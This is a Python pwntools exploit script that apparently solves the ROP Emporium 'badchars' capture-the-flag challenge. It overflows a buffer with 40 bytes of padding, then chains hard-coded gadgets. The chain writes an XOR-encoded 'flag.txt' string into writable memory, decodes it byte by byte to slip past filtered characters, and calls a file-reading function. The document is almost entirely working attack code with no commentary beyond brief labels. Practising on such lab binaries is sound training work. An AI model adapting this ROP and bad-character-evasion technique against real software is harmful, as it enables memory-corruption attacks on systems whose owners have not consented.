#!/usr/bin/env python3

from pwn import *

# Connect
elf = ELF('./badchars')
p = process('./badchars')

# Gadgets
pop_r12_r13 = 0x000000000040069c # pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
mov_r13_r12 = 0x0000000000400634 # mov qword ptr [r13], r12 ; ret
pop_r14_r15 = 0x00000000004006a0 # pop r14 ; pop r15 ; ret
xor_r15_r14 = 0x0000000000400628 # xor byte ptr [r15], r14b ; ret
pop_rdi = 0x00000000004006a3 # pop rdi ; ret

# Addresses
readfile = 0x0000000000400510
rw_memory = 0x0000000000601500

flag = 'flag.txt'

# Encode flag.txt using XOR to avoid the bad chars
encoded_flag = ''
pos = 0
xored_value = [0x0]*8
badchars = [0x78, 0x67, 0x61, 0x2e]
for i in flag:
    encoded = ord(i) ^ xored_value[pos]
    while encoded in badchars:
        xored_value[pos] += 1
        encoded = ord(i) ^ xored_value[pos]
    encoded_flag += chr(encoded)
    pos += 1

# Payload to write the encoded string into memory then use it in the read function
payload = b'A'*40

payload += p64(pop_r12_r13)
payload += encoded_flag.encode()
payload += p64(rw_memory)
payload += p64(1)
payload += p64(1)
payload += p64(mov_r13_r12)

temp = rw_memory
for i in range(0,8):
    payload += p64(pop_r14_r15)
    payload += p64(xored_value[i])
    payload += p64(temp)
    payload += p64(xor_r15_r14)
    temp += 1

payload += p64(pop_rdi)
payload += p64(rw_memory)
payload += p64(readfile)

p.recvuntil('> ')
p.sendline(payload)

print(p.recvall())


